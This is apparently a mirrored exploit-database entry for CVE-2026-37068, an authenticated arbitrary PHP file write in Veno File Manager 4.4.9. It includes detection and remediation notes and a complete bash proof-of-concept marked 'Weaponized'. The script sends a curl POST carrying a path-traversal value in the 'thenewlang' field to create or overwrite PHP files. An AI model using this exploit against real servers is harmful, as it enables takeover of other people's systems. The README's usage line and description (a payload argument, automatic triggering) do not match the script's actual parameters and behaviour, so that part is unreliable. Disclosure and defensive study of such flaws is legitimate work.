Veno File Manager Arbitrary PHP File Overwrite (CVE-2026-37068)

by jfs-jfs · 2026-07-05

Metadata

Field	Value
Date Added	2026-07-05
Last Updated	2026-06
Author / Researcher	jfs-jfs
CVE / Advisory	CVE-2026-37068
Category	web
Severity	Critical
CVSS Score	Not specified in source
Status	Weaponized
Tags	veno-file-manager, arbitrary-file-write, rce, authenticated, superadmin, cwe-434
Related	N/A

Affected Target

Field	Value
Software / System	Veno File Manager Project
Versions Affected	4.4.9
Language / Platform	Bash PoC
Authentication Required	Yes (superadmin role)
Network Access Required	Yes (HTTP to vfm-admin interface)

Summary

Arbitrary file write in /vfm-admin/index.php?section=translations&action=update in Veno File Manager Project 4.4.9 allows an authenticated user with the superadmin role to overwrite any PHP file in the application via a specially crafted POST request, enabling remote code execution.

Vulnerability Details

Root Cause

The translations-update endpoint writes attacker-supplied content to an attacker-chosen file path without restricting it to the intended translations directory or file type.

Attack Vector

Authenticate as a superadmin user.
Send a crafted POST request to the translations-update endpoint specifying an arbitrary PHP file path and attacker-controlled PHP content.
The server overwrites the target file with the attacker’s payload, which executes on next access — RCE.

Impact

Superadmin-level authenticated attacker can achieve full remote code execution by overwriting any PHP file in the application.

Environment / Lab Setup

Target:   Veno File Manager Project 4.4.9
Attacker: Bash/curl, valid superadmin session

Proof of Concept

PoC Script

See PoC.sh in this folder.

1
./PoC.sh <target-url> <session-cookie> <target-php-file> <payload>

Sends the crafted POST request to overwrite a target PHP file with an attacker-controlled payload, then triggers it for code execution.

Detection & Indicators of Compromise

Signs of compromise:

Unexpected modification timestamps on core application PHP files
New/altered PHP files containing webshell-like code

Remediation

Action	Detail
Primary fix	Update Veno File Manager to a version that restricts the translations-update endpoint to legitimate translation files
Interim mitigation	Restrict superadmin account issuance; use file-integrity monitoring on the application directory

References

Source repository

Notes

Mirrored from https://github.com/jfs-jfs/CVE-2026-37068 on 2026-07-05.

PoC.sh

bash raw GitHub ↓ Download

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env bash

##########################################################
########### SUPERADMIN ARBITRARY FILE OVERWRITE ##########
##########################################################

################# TESTED ON VERSION 4.4.9 ################

# This exploit lets an attacker overwrite any php file on
# on the system or create a new one anywere as long as the
# application has write access to the target directory.

# - Parameter $1 is vfm session cookie name
# - Parameter $2 is vfm session cookie value
# - Parameter $3 is the path to the file to overwrite (from
#   application root)
# - Parameter $4 is Url to the root of where the installation
#   of vfm is (a.k.a. the root of the application)

if [[ -z "$1" ]] || [[ -z "$2" ]] || [[ -z "$3" ]] || [[ -z "$4" ]]; then
  echo "[ USAGE ] :: ./auth-superadmin-arbitrary-file-overwrite.sh <vfm cookie name> <vfm cookie value> </path/to/target without extension> <url to root of vfm installation>/"
  exit 1
fi

echo "[ EXECUTION STARTED ]"
curl -X POST \
  -b "$1=$2" \
  -d "thenewlang=../../../$3" \
  "$4/vfm-admin/index.php?section=translations&action=update" &>/dev/null
echo "[ DONE ]"

echo "A new file should be added at :: $4/$3.php"